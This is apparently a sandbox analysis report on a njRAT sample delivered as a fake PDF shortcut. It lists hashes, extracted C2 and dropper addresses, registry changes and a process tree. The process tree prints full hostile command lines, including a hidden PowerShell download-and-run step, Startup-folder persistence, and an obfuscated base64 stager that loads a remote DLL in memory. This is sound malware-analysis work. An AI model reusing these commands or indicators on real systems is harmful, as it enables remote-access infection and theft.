njrat | 24dd2af82ba220d2f86df039b39c6fd38515d99093a3a42eb54da6af0759969c

Analysis

max time kernel
144s
max time network
152s
platform
windows10_x64
resource
win10-en-20211208
submitted
04-01-2022 07:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Electronic Tickets EDC.pdf.lnk
Size

2KB
MD5

34bdd2618a00931b868b76fa30b0b90a
SHA1

7503950b391c35b82c2903d2b6534487d1621d03
SHA256

24dd2af82ba220d2f86df039b39c6fd38515d99093a3a42eb54da6af0759969c
SHA512

83fa56f79b6ff9203ca9dbed3c2a6f92b38b240ae1215987a86c22302b11c47bd24a57494738e459f3c67c8390716435b9d0a0cedd41f130a2560cb1886444ac

Score

10^/10

njrat nyan cat suricata trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://149.56.200.165/dll/3.txt

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

venomsi.mypsx.net:83

Mutex

e6bb431cd02

Attributes

reg_key
e6bb431cd02
splitter
@!#&^%$

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata

Blocklisted process makes network request 7 IoCs

Processes:

powershell.exepowershell.exe

flow	pid	process
9	532	powershell.exe
11	532	powershell.exe
13	532	powershell.exe
17	532	powershell.exe
34	2128	powershell.exe
36	2128	powershell.exe
38	2128	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2128 set thread context of 3924 2128 powershell.exe RegSvcs.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3004 1584 WerFault.exe powershell.exe

description	pid	process	target process
PID 2128 set thread context of 3924	2128	powershell.exe	RegSvcs.exe

pid	pid_target	process	target process
3004	1584	WerFault.exe	powershell.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

Processes:

explorer.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe

Modifies registry class 21 IoCs

Processes:

explorer.exeexplorer.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\NodeSlot = "2"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0 = 14002e80922b16d365937a46956b92703aca08af0000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 00000000ffffffff	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Documents"	explorer.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

1256 PING.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

explorer.exe

pid process

2272 explorer.exe

pid	process
1256	PING.EXE

pid	process
2272	explorer.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

Processes:

powershell.exepowershell.exeWerFault.exepowershell.exepowershell.exe

pid	process
532	powershell.exe
532	powershell.exe
532	powershell.exe
1584	powershell.exe
1584	powershell.exe
1584	powershell.exe
3004	WerFault.exe
3004	WerFault.exe
3004	WerFault.exe
3004	WerFault.exe
3004	WerFault.exe
3004	WerFault.exe
3004	WerFault.exe
3004	WerFault.exe
3004	WerFault.exe
3004	WerFault.exe
3004	WerFault.exe
3004	WerFault.exe
3004	WerFault.exe
824	powershell.exe
824	powershell.exe
824	powershell.exe
2128	powershell.exe
2128	powershell.exe
2128	powershell.exe

Suspicious use of AdjustPrivilegeToken 30 IoCs

Processes:

powershell.exepowershell.exeWerFault.exepowershell.exepowershell.exeRegSvcs.exe

description	pid	process
Token: SeDebugPrivilege	532	powershell.exe
Token: SeDebugPrivilege	1584	powershell.exe
Token: SeDebugPrivilege	3004	WerFault.exe
Token: SeDebugPrivilege	824	powershell.exe
Token: SeDebugPrivilege	2128	powershell.exe
Token: SeDebugPrivilege	3924	RegSvcs.exe
Token: 33	3924	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	3924	RegSvcs.exe
Token: 33	3924	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	3924	RegSvcs.exe
Token: 33	3924	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	3924	RegSvcs.exe
Token: 33	3924	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	3924	RegSvcs.exe
Token: 33	3924	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	3924	RegSvcs.exe
Token: 33	3924	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	3924	RegSvcs.exe
Token: 33	3924	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	3924	RegSvcs.exe
Token: 33	3924	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	3924	RegSvcs.exe
Token: 33	3924	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	3924	RegSvcs.exe
Token: 33	3924	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	3924	RegSvcs.exe
Token: 33	3924	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	3924	RegSvcs.exe
Token: 33	3924	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	3924	RegSvcs.exe

Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

explorer.exe

pid process

2272 explorer.exe
2272 explorer.exe
2272 explorer.exe
2272 explorer.exe

pid	process
2272	explorer.exe
2272	explorer.exe
2272	explorer.exe
2272	explorer.exe

Suspicious use of WriteProcessMemory 26 IoCs

Processes:

cmd.exepowershell.exeexplorer.exeWScript.execmd.exepowershell.exepowershell.exe

description	pid	process	target process
PID 3328 wrote to memory of 532	3328	cmd.exe	powershell.exe
PID 3328 wrote to memory of 532	3328	cmd.exe	powershell.exe
PID 532 wrote to memory of 3740	532	powershell.exe	explorer.exe
PID 532 wrote to memory of 3740	532	powershell.exe	explorer.exe
PID 532 wrote to memory of 400	532	powershell.exe	explorer.exe
PID 532 wrote to memory of 400	532	powershell.exe	explorer.exe
PID 372 wrote to memory of 3008	372	explorer.exe	WScript.exe
PID 372 wrote to memory of 3008	372	explorer.exe	WScript.exe
PID 3008 wrote to memory of 916	3008	WScript.exe	cmd.exe
PID 3008 wrote to memory of 916	3008	WScript.exe	cmd.exe
PID 916 wrote to memory of 1256	916	cmd.exe	PING.EXE
PID 916 wrote to memory of 1256	916	cmd.exe	PING.EXE
PID 916 wrote to memory of 1584	916	cmd.exe	powershell.exe
PID 916 wrote to memory of 1584	916	cmd.exe	powershell.exe
PID 3008 wrote to memory of 824	3008	WScript.exe	powershell.exe
PID 3008 wrote to memory of 824	3008	WScript.exe	powershell.exe
PID 824 wrote to memory of 2128	824	powershell.exe	powershell.exe
PID 824 wrote to memory of 2128	824	powershell.exe	powershell.exe
PID 2128 wrote to memory of 3924	2128	powershell.exe	RegSvcs.exe
PID 2128 wrote to memory of 3924	2128	powershell.exe	RegSvcs.exe
PID 2128 wrote to memory of 3924	2128	powershell.exe	RegSvcs.exe
PID 2128 wrote to memory of 3924	2128	powershell.exe	RegSvcs.exe
PID 2128 wrote to memory of 3924	2128	powershell.exe	RegSvcs.exe
PID 2128 wrote to memory of 3924	2128	powershell.exe	RegSvcs.exe
PID 2128 wrote to memory of 3924	2128	powershell.exe	RegSvcs.exe
PID 2128 wrote to memory of 3924	2128	powershell.exe	RegSvcs.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Electronic Tickets EDC.pdf.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:3328

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden wget shorturl.at/dmuHK -o $env:public\2.pdf;explorer.exe $env:public\2.pdf; wget rebrand.ly/inkT -o $env:public\1.vbs;explorer.exe $env:public\1.vbs
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:532

C:\Windows\explorer.exe
"C:\Windows\explorer.exe" C:\Users\Public\2.pdf
3⤵
PID:3740

C:\Windows\explorer.exe
"C:\Windows\explorer.exe" C:\Users\Public\1.vbs
3⤵
PID:400

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2272

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:372

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Public\1.vbs"
2⤵
- Suspicious use of WriteProcessMemory
PID:3008

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Windows\system32\1.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ TSW.vbs')
3⤵
- Suspicious use of WriteProcessMemory
PID:916

C:\Windows\system32\PING.EXE
ping 127.0.0.1 -n 10
4⤵
- Runs ping.exe
PID:1256

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command [System.IO.File]::Copy('C:\Windows\system32\1.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ TSW.vbs')
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1584

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1584 -s 2000
5⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3004

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'WwBC➠⇗↪Hk➠⇗↪d➠⇗↪Bl➠⇗↪Fs➠⇗↪XQBd➠⇗↪C➠⇗↪➠⇗↪J➠⇗↪BE➠⇗↪Ew➠⇗↪T➠⇗↪➠⇗↪g➠⇗↪D0➠⇗↪I➠⇗↪Bb➠⇗↪FM➠⇗↪eQBz➠⇗↪HQ➠⇗↪ZQBt➠⇗↪C4➠⇗↪QwBv➠⇗↪G4➠⇗↪dgBl➠⇗↪HI➠⇗↪d➠⇗↪Bd➠⇗↪Do➠⇗↪OgBG➠⇗↪HI➠⇗↪bwBt➠⇗↪EI➠⇗↪YQBz➠⇗↪GU➠⇗↪Ng➠⇗↪0➠⇗↪FM➠⇗↪d➠⇗↪By➠⇗↪Gk➠⇗↪bgBn➠⇗↪Cg➠⇗↪K➠⇗↪BO➠⇗↪GU➠⇗↪dw➠⇗↪t➠⇗↪E8➠⇗↪YgBq➠⇗↪GU➠⇗↪YwB0➠⇗↪C➠⇗↪➠⇗↪TgBl➠⇗↪HQ➠⇗↪LgBX➠⇗↪GU➠⇗↪YgBD➠⇗↪Gw➠⇗↪aQBl➠⇗↪G4➠⇗↪d➠⇗↪➠⇗↪p➠⇗↪C4➠⇗↪R➠⇗↪Bv➠⇗↪Hc➠⇗↪bgBs➠⇗↪G8➠⇗↪YQBk➠⇗↪FM➠⇗↪d➠⇗↪By➠⇗↪Gk➠⇗↪bgBn➠⇗↪Cg➠⇗↪JwBo➠⇗↪HQ➠⇗↪d➠⇗↪Bw➠⇗↪Do➠⇗↪Lw➠⇗↪v➠⇗↪DE➠⇗↪N➠⇗↪➠⇗↪5➠⇗↪C4➠⇗↪NQ➠⇗↪2➠⇗↪C4➠⇗↪Mg➠⇗↪w➠⇗↪D➠⇗↪➠⇗↪Lg➠⇗↪x➠⇗↪DY➠⇗↪NQ➠⇗↪v➠⇗↪GQ➠⇗↪b➠⇗↪Bs➠⇗↪C8➠⇗↪Mw➠⇗↪u➠⇗↪HQ➠⇗↪e➠⇗↪B0➠⇗↪Cc➠⇗↪KQ➠⇗↪p➠⇗↪Ds➠⇗↪WwBT➠⇗↪Hk➠⇗↪cwB0➠⇗↪GU➠⇗↪bQ➠⇗↪u➠⇗↪EE➠⇗↪c➠⇗↪Bw➠⇗↪EQ➠⇗↪bwBt➠⇗↪GE➠⇗↪aQBu➠⇗↪F0➠⇗↪Og➠⇗↪6➠⇗↪EM➠⇗↪dQBy➠⇗↪HI➠⇗↪ZQBu➠⇗↪HQ➠⇗↪R➠⇗↪Bv➠⇗↪G0➠⇗↪YQBp➠⇗↪G4➠⇗↪LgBM➠⇗↪G8➠⇗↪YQBk➠⇗↪Cg➠⇗↪J➠⇗↪BE➠⇗↪Ew➠⇗↪T➠⇗↪➠⇗↪p➠⇗↪C4➠⇗↪RwBl➠⇗↪HQ➠⇗↪V➠⇗↪B5➠⇗↪H➠⇗↪➠⇗↪ZQ➠⇗↪o➠⇗↪Cc➠⇗↪QwBs➠⇗↪GE➠⇗↪cwBz➠⇗↪Ew➠⇗↪aQBi➠⇗↪HI➠⇗↪YQBy➠⇗↪Hk➠⇗↪Mw➠⇗↪u➠⇗↪EM➠⇗↪b➠⇗↪Bh➠⇗↪HM➠⇗↪cw➠⇗↪x➠⇗↪Cc➠⇗↪KQ➠⇗↪u➠⇗↪Ec➠⇗↪ZQB0➠⇗↪E0➠⇗↪ZQB0➠⇗↪Gg➠⇗↪bwBk➠⇗↪Cg➠⇗↪JwBS➠⇗↪HU➠⇗↪bg➠⇗↪n➠⇗↪Ck➠⇗↪LgBJ➠⇗↪G4➠⇗↪dgBv➠⇗↪Gs➠⇗↪ZQ➠⇗↪o➠⇗↪CQ➠⇗↪bgB1➠⇗↪Gw➠⇗↪b➠⇗↪➠⇗↪s➠⇗↪C➠⇗↪➠⇗↪WwBv➠⇗↪GI➠⇗↪agBl➠⇗↪GM➠⇗↪d➠⇗↪Bb➠⇗↪F0➠⇗↪XQ➠⇗↪g➠⇗↪Cg➠⇗↪JwB0➠⇗↪Hg➠⇗↪d➠⇗↪➠⇗↪u➠⇗↪HQ➠⇗↪ZQBu➠⇗↪C4➠⇗↪ZQB0➠⇗↪DY➠⇗↪LgBh➠⇗↪HM➠⇗↪YQBj➠⇗↪HQ➠⇗↪YQBy➠⇗↪Go➠⇗↪bg➠⇗↪v➠⇗↪EE➠⇗↪UwBB➠⇗↪EM➠⇗↪d➠⇗↪Bh➠⇗↪HI➠⇗↪SgBO➠⇗↪C8➠⇗↪d➠⇗↪Bl➠⇗↪G4➠⇗↪LgBl➠⇗↪HQ➠⇗↪Ng➠⇗↪u➠⇗↪GE➠⇗↪cwBh➠⇗↪GM➠⇗↪d➠⇗↪Bh➠⇗↪HI➠⇗↪agBu➠⇗↪C8➠⇗↪Lw➠⇗↪6➠⇗↪H➠⇗↪➠⇗↪d➠⇗↪B0➠⇗↪Gg➠⇗↪Jw➠⇗↪p➠⇗↪Ck➠⇗↪';$OWjuxD = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('➠⇗↪','A') ) );powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:824

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://149.56.200.165/dll/3.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('txt.ten.et6.asactarjn/ASACtarJN/ten.et6.asactarjn//:ptth'))"
4⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2128

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:3924

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5
d737fc27bbf2f3bd19d1706af83dbe3f

SHA1
212d219394124968b50769c371121a577d973985

SHA256
b96b55a2acd9c790092e8132b31e5f0110492f98828098112d46f2f9faa2b982

SHA512
974c2db081dd6d1f45763371c41e01173b189ea1a2d893d0bc415670bfa12f3934ba9dea64018b8c063017454d4d92888d6fe6eaad1659e420ba9adcde5e788b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5
2c512587fe76d851a65649ca26ac881a

SHA1
4749cbc4086698632ef2c60f52dcc40b6327f65a

SHA256
d71fddf0b26e15e2d244eeb9500ce51287e0c5de4cc8604c0a4fb12981f86109

SHA512
4606e4894c9fbafa334ff6fb180961768abfed5abcb716a5b7680a2ac8e61b296d40a6440097d214715dadcfbe9714655c2b48f2a2284724b6df93aed82f392b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5
aefd51e68839f638e1f578c273515394

SHA1
a65697b0bf88bb1944a9382df34d65e0ae044c22

SHA256
0817160992ae34c68877af995ae8b169f074ada9c101b03c0c075c249b152dbd

SHA512
99e61878b17465dd552f78f5be8f8fa68a31c9383cc3dbe9724b6335eabc8c2b4f3f1dd2565c1ffaff24bdf88660d0e674e3b5b86850f50183a8620b22ccc69d

Download Submit
C:\Users\Public\1.vbs

MD5
f1143612b89add41d0bb2070108ee638

SHA1
f94b10e5941ea379a96fcbbd24c09308d8287a28

SHA256
b484541b4616184de3a8ef7423e841ec62a8c858fe7ce1892a94479baafec3ff

SHA512
90de21b8e79157e1f4308de7e96aff117494a4be180c35ab4c7b9b2209ffe5547b050ec69b2fd40179f296ed7f9bf3efdf95da9e363a1c39cc0e9fb1b86bf19e

Download Submit
memory/400-153-0x0000000000000000-mapping.dmp

Download
memory/532-154-0x0000023394FD0000-0x0000023394FD2000-memory.dmp

Filesize
8KB

Download
memory/532-117-0x0000023394FD0000-0x0000023394FD2000-memory.dmp

Filesize
8KB

Download
memory/532-122-0x00000233AD450000-0x00000233AD452000-memory.dmp

Filesize
8KB

Download
memory/532-124-0x00000233AD453000-0x00000233AD455000-memory.dmp

Filesize
8KB

Download
memory/532-125-0x0000023394FD0000-0x0000023394FD2000-memory.dmp

Filesize
8KB

Download
memory/532-123-0x0000023394FD0000-0x0000023394FD2000-memory.dmp

Filesize
8KB

Download
memory/532-126-0x00000233AD460000-0x00000233AD4D6000-memory.dmp

Filesize
472KB

Download
memory/532-127-0x0000023394FD0000-0x0000023394FD2000-memory.dmp

Filesize
8KB

Download
memory/532-133-0x00000233AD456000-0x00000233AD458000-memory.dmp

Filesize
8KB

Download
memory/532-121-0x0000023394FD0000-0x0000023394FD2000-memory.dmp

Filesize
8KB

Download
memory/532-149-0x00000233AD458000-0x00000233AD459000-memory.dmp

Filesize
4KB

Download
memory/532-152-0x0000023394FD0000-0x0000023394FD2000-memory.dmp

Filesize
8KB

Download
memory/532-120-0x00000233AD3A0000-0x00000233AD3C2000-memory.dmp

Filesize
136KB

Download
memory/532-115-0x0000000000000000-mapping.dmp

Download
memory/532-119-0x0000023394FD0000-0x0000023394FD2000-memory.dmp

Filesize
8KB

Download
memory/532-118-0x0000023394FD0000-0x0000023394FD2000-memory.dmp

Filesize
8KB

Download
memory/532-116-0x0000023394FD0000-0x0000023394FD2000-memory.dmp

Filesize
8KB

Download
memory/824-225-0x0000029D63316000-0x0000029D63318000-memory.dmp

Filesize
8KB

Download
memory/824-189-0x0000029D4AB60000-0x0000029D4AB62000-memory.dmp

Filesize
8KB

Download
memory/824-194-0x0000029D63313000-0x0000029D63315000-memory.dmp

Filesize
8KB

Download
memory/824-183-0x0000029D4AB60000-0x0000029D4AB62000-memory.dmp

Filesize
8KB

Download
memory/824-193-0x0000029D4AB60000-0x0000029D4AB62000-memory.dmp

Filesize
8KB

Download
memory/824-192-0x0000029D63310000-0x0000029D63312000-memory.dmp

Filesize
8KB

Download
memory/824-191-0x0000029D63E40000-0x0000029D63EB6000-memory.dmp

Filesize
472KB

Download
memory/824-190-0x0000029D4AB60000-0x0000029D4AB62000-memory.dmp

Filesize
8KB

Download
memory/824-182-0x0000000000000000-mapping.dmp

Download
memory/824-195-0x0000029D4AB60000-0x0000029D4AB62000-memory.dmp

Filesize
8KB

Download
memory/824-188-0x0000029D4AB60000-0x0000029D4AB62000-memory.dmp

Filesize
8KB

Download
memory/824-187-0x0000029D632D0000-0x0000029D632F2000-memory.dmp

Filesize
136KB

Download
memory/824-186-0x0000029D4AB60000-0x0000029D4AB62000-memory.dmp

Filesize
8KB

Download
memory/824-185-0x0000029D4AB60000-0x0000029D4AB62000-memory.dmp

Filesize
8KB

Download
memory/824-184-0x0000029D4AB60000-0x0000029D4AB62000-memory.dmp

Filesize
8KB

Download
memory/916-157-0x0000000000000000-mapping.dmp

Download
memory/1256-158-0x0000000000000000-mapping.dmp

Download
memory/1584-173-0x000001B143410000-0x000001B143412000-memory.dmp

Filesize
8KB

Download
memory/1584-181-0x000001B1437B6000-0x000001B1437B8000-memory.dmp

Filesize
8KB

Download
memory/1584-172-0x000001B1437B3000-0x000001B1437B5000-memory.dmp

Filesize
8KB

Download
memory/1584-171-0x000001B1437B0000-0x000001B1437B2000-memory.dmp

Filesize
8KB

Download
memory/1584-170-0x000001B15E060000-0x000001B15E0D6000-memory.dmp

Filesize
472KB

Download
memory/1584-169-0x000001B143410000-0x000001B143412000-memory.dmp

Filesize
8KB

Download
memory/1584-168-0x000001B143410000-0x000001B143412000-memory.dmp

Filesize
8KB

Download
memory/1584-167-0x000001B143410000-0x000001B143412000-memory.dmp

Filesize
8KB

Download
memory/1584-165-0x000001B15D510000-0x000001B15D532000-memory.dmp

Filesize
136KB

Download
memory/1584-164-0x000001B143410000-0x000001B143412000-memory.dmp

Filesize
8KB

Download
memory/1584-163-0x000001B143410000-0x000001B143412000-memory.dmp

Filesize
8KB

Download
memory/1584-162-0x000001B143410000-0x000001B143412000-memory.dmp

Filesize
8KB

Download
memory/1584-161-0x000001B143410000-0x000001B143412000-memory.dmp

Filesize
8KB

Download
memory/1584-159-0x0000000000000000-mapping.dmp

Download
memory/2128-202-0x000001EDA7DC0000-0x000001EDA7DE2000-memory.dmp

Filesize
136KB

Download
memory/2128-218-0x000001EDA8260000-0x000001EDA8270000-memory.dmp

Filesize
64KB

Download
memory/2128-199-0x000001EDA6420000-0x000001EDA6422000-memory.dmp

Filesize
8KB

Download
memory/2128-200-0x000001EDA6420000-0x000001EDA6422000-memory.dmp

Filesize
8KB

Download
memory/2128-201-0x000001EDA6420000-0x000001EDA6422000-memory.dmp

Filesize
8KB

Download
memory/2128-197-0x0000000000000000-mapping.dmp

Download
memory/2128-203-0x000001EDA6420000-0x000001EDA6422000-memory.dmp

Filesize
8KB

Download
memory/2128-204-0x000001EDA6420000-0x000001EDA6422000-memory.dmp

Filesize
8KB

Download
memory/2128-206-0x000001EDA6420000-0x000001EDA6422000-memory.dmp

Filesize
8KB

Download
memory/2128-208-0x000001EDC0EE0000-0x000001EDC0F56000-memory.dmp

Filesize
472KB

Download
memory/2128-213-0x000001EDC0490000-0x000001EDC0492000-memory.dmp

Filesize
8KB

Download
memory/2128-215-0x000001EDC0493000-0x000001EDC0495000-memory.dmp

Filesize
8KB

Download
memory/2128-217-0x000001EDC0496000-0x000001EDC0498000-memory.dmp

Filesize
8KB

Download
memory/2128-198-0x000001EDA6420000-0x000001EDA6422000-memory.dmp

Filesize
8KB

Download
memory/2128-219-0x000001EDC03B0000-0x000001EDC0402000-memory.dmp

Filesize
328KB

Download
memory/3008-156-0x0000000000000000-mapping.dmp

Download
memory/3740-148-0x0000000000000000-mapping.dmp

Download
memory/3924-221-0x000000000040675E-mapping.dmp

Download
memory/3924-226-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download
memory/3924-227-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download
memory/3924-228-0x0000000005470000-0x000000000550C000-memory.dmp

Filesize
624KB

Download
memory/3924-229-0x0000000005A10000-0x0000000005F0E000-memory.dmp

Filesize
5.0MB

Download
memory/3924-230-0x00000000056D0000-0x0000000005762000-memory.dmp

